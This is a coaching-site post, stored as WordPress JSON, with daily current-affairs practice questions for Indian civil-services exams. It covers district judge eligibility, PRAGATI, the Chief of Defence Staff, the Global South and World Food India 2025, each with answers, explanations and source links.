{"id":2451,"date":"2025-09-25T11:34:35","date_gmt":"2025-09-25T11:34:35","guid":{"rendered":"https:\/\/iasquest.com\/?p=2451"},"modified":"2026-02-11T18:52:11","modified_gmt":"2026-02-11T18:52:11","slug":"daily-current-affairs-25-09-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-25-09-2025\/","title":{"rendered":"Daily Current Affairs \u2013 25-09-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. With reference to Indian judiciary, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\"><strong>A person is eligible to be appointed a district judge, only if<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">1. He\/She must have at least 10 years of practice as an advocate or pleader.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">2. He\/She must be recommended by the Supreme Court of India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">3. He\/She must already be in judicial service of the Union or the State.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Answer: (d) None<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>In NEWS:<\/strong> SC urged to fill up nearly 5,000 posts in district courts<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>Article 233 of the Constitution:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\">1. Appointments of persons to be, and the posting and promotion of, district judges in any State shall be made by the Governor of the State in consultation with the High Court exercising jurisdiction in relation to such State.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\">2. A person not already in the service of the Union or of the State shall only be eligible to be appointed a district judge if he has been for not less than seven years an advocate or a pleader and is recommended by the High Court for appointment.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>Eligibility<\/strong> \u2013 The clause specifically carves out eligibility for <strong>direct recruitment<\/strong> from the Bar to the post of District Judge.<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-18\">\n<li>Candidates must have <strong>at least 7 years of practice<\/strong> as an advocate\/pleader.<\/li>\n\n\n\n<li>Must be <strong>recommended by the High Court<\/strong>.<\/li>\n\n\n\n<li>Candidates <strong>must not already be in judicial service<\/strong> of the Union or the State. <strong>Hence all the statements are incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>Two sources of recruitment<\/strong> for District Judges:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-20\">\n<li><strong>Promotion quota<\/strong> from the subordinate judicial service (Civil Judges, etc.).<\/li>\n\n\n\n<li><strong>Direct recruitment quota<\/strong> from advocates\/pleaders with 7+ years\u2019 experience (this is the Bar quota under Article 233(2)).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>Judicial interpretation<\/strong>:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-22\">\n<li>In <strong><em>Chandramouleshwar Prasad v. Patna High Court<\/em> (1969)<\/strong>, the SC clarified that consultation with the High Court is mandatory.<\/li>\n\n\n\n<li>In <strong><em>Deepak Aggarwal v. Keshav Kaushik<\/em> (2013)<\/strong>, the SC held that judicial officers already in service cannot be considered under Article 233(2) for direct recruitment.\n<ul class=\"wp-block-list\">\n<li>The Constitution Bench (2024\u201325 hearings) is revisiting this issue, because officers who were once advocates but later joined judicial service want their past bar experience to be counted.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2021)<\/strong> <br><br><strong>Q. With reference to Indian judiciary, consider the following statements:<\/strong> <br><br>1. Any retired judge of the Supreme Court of India can be called back to sit and act as a Supreme Court judge by the Chief Justice of India with prior permission of the President of India. <br>2. A High Court in India has the power to review its own judgement as the Supreme Court does. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br><strong>(a) 1 only<\/strong> <br>(b) 2 only <br>(c) Both 1 and 2 <br>(d) Neither 1 nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/supreme-court-urged-to-factor-in-judicial-officers-prior-experience-as-lawyers-to-fill-vacancies\/article70089888.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/supreme-court-urged-to-factor-in-judicial-officers-prior-experience-as-lawyers-to-fill-vacancies\/article70089888.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>2. Which of the following statements best describes the term \u2018PRAGATI\u2019, recently seen in the news?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">(a) A digital platform for real-time governance review by bringing together the Prime Minister, Union Secretaries, and State Chief Secretaries.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\">(b) A rural development scheme aimed at promoting self-help groups and microfinance.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\">(c) An initiative to promote renewable energy and green technology in urban areas.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\">(d) A parliamentary committee for assessing financial performance of central ministries.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>Answer: (a) A digital platform for real-time governance review by bringing together the Prime Minister, Union Secretaries, and State Chief Secretaries.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>In NEWS: <\/strong>PM Chairs 49th PRAGATI Meeting<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-32\">\n<li>The Prime Minister chaired the 49th edition of PRAGATI (Pro-Active Governance And Timely Implementation).<\/li>\n\n\n\n<li>Eight key infrastructure projects from sectors such as <strong>Mines, Railways, Water Resources, Industrial Corridors, and Power.<\/strong><\/li>\n\n\n\n<li>Projects spread across <strong>15 States\/UTs<\/strong> with a total investment of over<strong> \u20b965,000 crore.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><strong>PRAGATI &#8211; Pro-Active Governance And Timely Implementation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-34\">\n<li>It is an ICT-based, multi-purpose, multi-modal platform launched by the Prime Minister of India in 2015.<\/li>\n\n\n\n<li><strong>Objective<\/strong>: To bring together the Prime Minister, Union Secretaries, and Chief Secretaries of the States on one platform for <strong>real-time governance review<\/strong>.<strong> Hence option (a) is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong>Functions<\/strong>:<\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-36\">\n<li>Monitors implementation of <strong>flagship programmes and schemes<\/strong>.<\/li>\n\n\n\n<li>Tracks <strong>projects involving investments above \u20b9500 crore<\/strong>.<\/li>\n\n\n\n<li>Reviews <strong>public grievances and complaints<\/strong> received through the CPGRAMS (Centralised Public Grievance Redress and Monitoring System).<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>Technology Used<\/strong>:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-38\">\n<li>Combines <strong>video-conferencing<\/strong>, <strong>data management<\/strong>, and <strong>digital monitoring tools<\/strong>.<\/li>\n\n\n\n<li>Enables the PM to directly interact with Central and State officials.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\"><strong>Impact<\/strong>:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-40\">\n<li>Faster resolution of bottlenecks in infrastructure projects.<\/li>\n\n\n\n<li>Enhances <strong>accountability and transparency<\/strong>.<\/li>\n\n\n\n<li>Helps improve <strong>Centre\u2013State coordination<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><br><strong>Q. Which of the following statements best describes the term \u2018Scheme for Sustainable Structuring of Stressed Assets (S4A)\u2019,recently seen in the news?<\/strong> <br><br>(a) It is a procedure for considering ecological costs of developmental schemes formulated by the Government. <br><strong>(b) It is a scheme of RBI for reworking the financial structure of big corporate entities facing genuine difficulties.<\/strong> <br>(c) It is a disinvestment plan of the Government regarding Central Public Sector Undertakings. <br>(d) It is an important provision in \u2018The Insolvency and Bankruptcy Code\u2019 recently implemented by the Government.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2170926\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2170926<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>3. With reference to the Chief of Defence Staff (CDS), which among the following statements is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\">1. It is a constitutional post that derives its authority from executive powers of the Union under Article 53 &amp; 78 as part of defence administration.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\">2. CDS is an ex-officio member of the Cabinet Committee on Security (CCS).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\">3. He\/She serves for 5 years or until attaining the age of 60 years, whichever is earlier.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\">4. He\/She acts as the principal military advisor to the Union Cabinet and Defence Minister, aligning with the principle of civilian supremacy over armed forces.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\">(b) 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\">(d) 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\"><strong>Answer: (d) 2 and 4 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>In NEWS: <\/strong>Government Extends the Service of General Anil Chauhan&nbsp; as Chief of Defence Staff (CDS) &amp; Secretary, Department of Military Affairs<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\"><strong>Chief of Defence Staff (CDS):<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\"><strong>Creation and Legal Basis<\/strong>:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-57\">\n<li>The post of CDS was <strong>created in December 2019<\/strong> by the Government of India to strengthen <strong>tri-service integration<\/strong>.<\/li>\n\n\n\n<li>CDS functions under the <strong>Department of Military Affairs (DMA)<\/strong> in the Ministry of Defence.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>Constitutional\/Polity Angle<\/strong>:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-59\">\n<li>The position is <strong>not directly mentioned in the Constitution<\/strong>, but it derives authority from <strong>executive powers of the Union under Article 53 &amp; 78<\/strong>, as part of defence administration. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>Acts as the <strong>principal military advisor<\/strong> to the <strong>Union Cabinet and Defence Minister<\/strong>, aligning with the principle of <strong>civilian supremacy over armed forces<\/strong> (Articles 53, 74, and 77). <strong>Hence statement 4 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>Rank and Status<\/strong>:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-61\">\n<li>CDS holds the rank of <strong>four-star General \/ Admiral \/ Air Chief Marshal<\/strong>.<\/li>\n\n\n\n<li>Is an <strong>ex-officio member of the Cabinet Committee on Security (CCS)<\/strong>. <strong>Hence statement 2 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\"><strong>Tenure<\/strong>: Serves for <strong>3 years or until attaining the age of 65 years<\/strong>, whichever is earlier. <strong>Hence statement 3 is incorrect.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>Functions and Responsibilities<\/strong>:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-64\">\n<li>Integrates <strong>defence planning, operations, logistics, and procurement<\/strong> across Army, Navy, and Air Force.<\/li>\n\n\n\n<li>Promotes <strong>jointness in training, operations, and strategy<\/strong> among the three services.<\/li>\n\n\n\n<li>Heads the <strong>Department of Military Affairs (DMA)<\/strong> to streamline <strong>tri-service matters<\/strong>.<\/li>\n\n\n\n<li>Advises on <strong>national security strategy<\/strong> and modernization of armed forces.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>Significance for Governance<\/strong>:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-66\">\n<li>Enhances <strong>efficiency, accountability, and coordination<\/strong> in defence management.<\/li>\n\n\n\n<li>Reduces <strong>inter-service rivalry<\/strong> and duplication of resources.<\/li>\n\n\n\n<li>Strengthens <strong>civil-military interface<\/strong> in line with <strong>democratic control of armed forces<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2024)<\/strong> <br><br><strong>Q. What are the duties of the Chief of Defence Staff (CDS) as Head of the Department of Military Affairs?<\/strong> <br><br>1. Permanent Chairman of Chiefs of Staff Committee <br>2. Exercise military command over the three Service Chiefs <br>3. Principal Military Advisor to Defence Minister on all tri-service matters <br><br><strong>Select the correct options using the code given below:<\/strong> <br><br>(a) 1, 2 and 3 <br>(b) 1 and 2 only <br>(c) 2 and 3 only <br><strong>(d) 1 and 3 only<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2170934\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2170934<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><strong>4. Consider the following countries:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\">1. India<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\">2. Indonesia<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\">3. Japan<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\">4. Egypt<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\">5. Brazil<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\">6. South Korea<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\">7. Australia<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong>Which of the above countries are part of Global South as separated by the Brandt Line?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\">(a) 1, 2, 4 and 5 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\">(b) 2, 3, 6 and 7 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\">(c) 1, 3, 5 and 7 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\">(d) 2, 3, 4, 5, 6 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\"><strong>Answer: (a) 1, 2, 4 and 5 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\"><strong>In NEWS:<\/strong> Global South must work together, says Jaishankar<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>Global South:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-85\">\n<li>The term &#8220;Global South&#8221; refers to&nbsp; a group of countries, primarily in<strong> Africa, Asia, Latin America, and Oceania,<\/strong> that are generally characterized by lower economic development, less political influence in the global system, and a shared history of colonialism.<\/li>\n\n\n\n<li>The designation is not strictly geographical, as many of these nations, including<strong> China and India,<\/strong> are in the Northern Hemisphere.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>Representative Countries of Global South:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-87\">\n<li>Asia: India, Pakistan, Bangladesh, Thailand, Indonesia, Vietnam, Philippines<\/li>\n\n\n\n<li>Africa: Nigeria, South Africa, Egypt, Kenya, Ghana<\/li>\n\n\n\n<li>Latin America: Brazil, Mexico, Argentina, Chile, Colombia<\/li>\n\n\n\n<li>Oceania: Papua New Guinea, Fiji<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\"><strong>Hence 1, 2, 4 and 5 are correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\"><strong>Representative Countries of Global North:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-90\">\n<li><strong>North America: <\/strong>United States, Canada<\/li>\n\n\n\n<li><strong>Europe: <\/strong>United Kingdom, France, Germany, Italy, Sweden, Norway<\/li>\n\n\n\n<li><strong>East Asia \/ Pacific:<\/strong> Japan, South Korea, Australia, New Zealand<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>Origin and evolution of the term<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\"><strong>Coined in 1969:<\/strong> American activist <strong>Carl Oglesby<\/strong> used the term in the magazine Commonweal to describe the &#8220;northern dominance&#8221; over the &#8220;global South&#8221; during the Vietnam War.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\"><strong>Replacing the &#8220;Third World&#8221;: <\/strong>The term gained prominence after the end of the Cold War and the collapse of the Soviet Union in 1991, which dissolved the &#8220;Second World.&#8221; This rendered the Cold War-era term &#8220;Third World&#8221; obsolete, which had also become pejorative and associated with poverty. The &#8220;Global South&#8221; emerged as a more neutral alternative.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\"><strong>Brandt Line: <\/strong>The idea of a global north-south divide was popularized in the 1980s by the Brandt Report, which proposed a line separating the wealthier, industrialized North from the poorer, developing South. Though now outdated, this line remains a historical reference for global inequalities.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"576\" height=\"480\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/09\/image-26.jpg\" alt=\"\" class=\"wp-image-2453\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-26.jpg 576w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-26-300x250.jpg 300w\" sizes=\"auto, (max-width: 576px) 100vw, 576px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\"><strong>Key characteristics and comparisons with the Global North<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>Feature<\/strong><\/td><td><strong>Global South<\/strong><\/td><td><strong>Global North<\/strong><\/td><\/tr><tr><td>Economies<\/td><td>Historically agrarian-based and dependent on exporting raw materials. Many face challenges like high debt burdens and limited access to international financial markets.<\/td><td>Typically highly industrialized, with diversified and advanced economies.<\/td><\/tr><tr><td>Economic power<\/td><td>Less economic power historically, but growing rapidly. Projections suggest that by 2030, three of the four largest economies will be from the Global South (China, India, Indonesia).<\/td><td>Holds a disproportionate share of global wealth and controls most international finance, trade, and technology.<\/td><\/tr><tr><td>Political influence<\/td><td>Historically underrepresented in global governance bodies like the UN Security Council, World Bank, and IMF. Advocates for a more inclusive world order.<\/td><td>Holds significant political power in international organizations, which can lead to policies that favor developed nations.<\/td><\/tr><tr><td>Historical context<\/td><td>A shared history of colonialism and imperialism by European powers, which extracted resources and hindered local development.<\/td><td>Often former colonial powers that benefited from historical exploitation of the Global South.<\/td><\/tr><tr><td>Environmental issues<\/td><td>Disproportionately affected by climate change, despite having contributed far less to historical greenhouse gas emissions.<\/td><td>The primary historical contributor to global emissions and environmental damage.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><br><strong>Q. Consider the following countries:<\/strong> <br><br>I. Austria <br>II. Bulgaria <br>III. Croatia\u00a0\u00a0 <br>IV. Serbia\u00a0\u00a0 <br>V. Sweden\u00a0\u00a0 <br>VI. North Macedonia\u00a0\u00a0 <br><br><strong>How many of the above are members of the North Atlantic Treaty Organization?\u00a0\u00a0<\/strong> <br><br>(a) Only three\u00a0\u00a0 <br><strong>(b) Only four\u00a0\u00a0<\/strong> <br>(c) Only five\u00a0\u00a0 <br>(d) All the six\u00a0<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/external-affairs-minister-jaishankar-calls-for-stronger-global-south-solidarity-collective-push-for-united-nations-reform\/article70087554.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/external-affairs-minister-jaishankar-calls-for-stronger-global-south-solidarity-collective-push-for-united-nations-reform\/article70087554.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\"><strong>5. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\">I.<strong> <\/strong>World Food India 2025 is organised by the Ministry of Food Processing Industries (MoFPI), Government of India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\">II. \u201cWhere Flavors Meet Global Strategic Partnerships\u201d is the theme of World Food India 2025.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\">III. In India, 100% FDI is permitted in the food processing sector under the automatic route.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\">(a) I and II only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\">(b) II and III only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\">(c) I and III only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\">(d) I, II and III<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong>Answer: (d) I, II and III<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\"><strong>In NEWS: <\/strong>World Food India 2025, being organised by the Ministry of Food Processing Industries on September 25-28, 2025<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><strong>World Food India (WFI) 2025:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-110\">\n<li>WFI 2025 is a strategic global platform for investment, innovation, and partnerships in the food sector.<\/li>\n\n\n\n<li>It aligns with Viksit Bharat 2047, aiming to make India a global leader in food processing\u2014balancing scale, sustainability, and inclusive growth.<\/li>\n\n\n\n<li>Theme: \u201cWhere Flavors Meet Global Strategic Partnerships\u201d. <strong>Hence statement II is correct.<\/strong><\/li>\n\n\n\n<li>Venue: Bharat Mandapam, New Delhi<\/li>\n\n\n\n<li>Organised by: Ministry of Food Processing Industries (MoFPI), Government of India. <strong>Hence statement I is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>Objective:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\">To position India as a Global Food Hub by showcasing its food processing potential, innovation, and investment opportunities, while forging global partnerships across the food value chain.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\"><strong>Key Features:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-114\">\n<li>Sectoral exhibitions in food processing, packaging, cold chains, pet food, HoReCa, post-harvest tech<\/li>\n\n\n\n<li>B2B, B2G, G2G meetings for business, investment, and strategic partnerships<\/li>\n\n\n\n<li>Conference &amp; Knowledge Sessions with global experts<\/li>\n\n\n\n<li>Culinary experiences, live chef competitions, and fusion food displays<\/li>\n\n\n\n<li>Startup Grand Challenge for innovation, mentorship &amp; funding<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 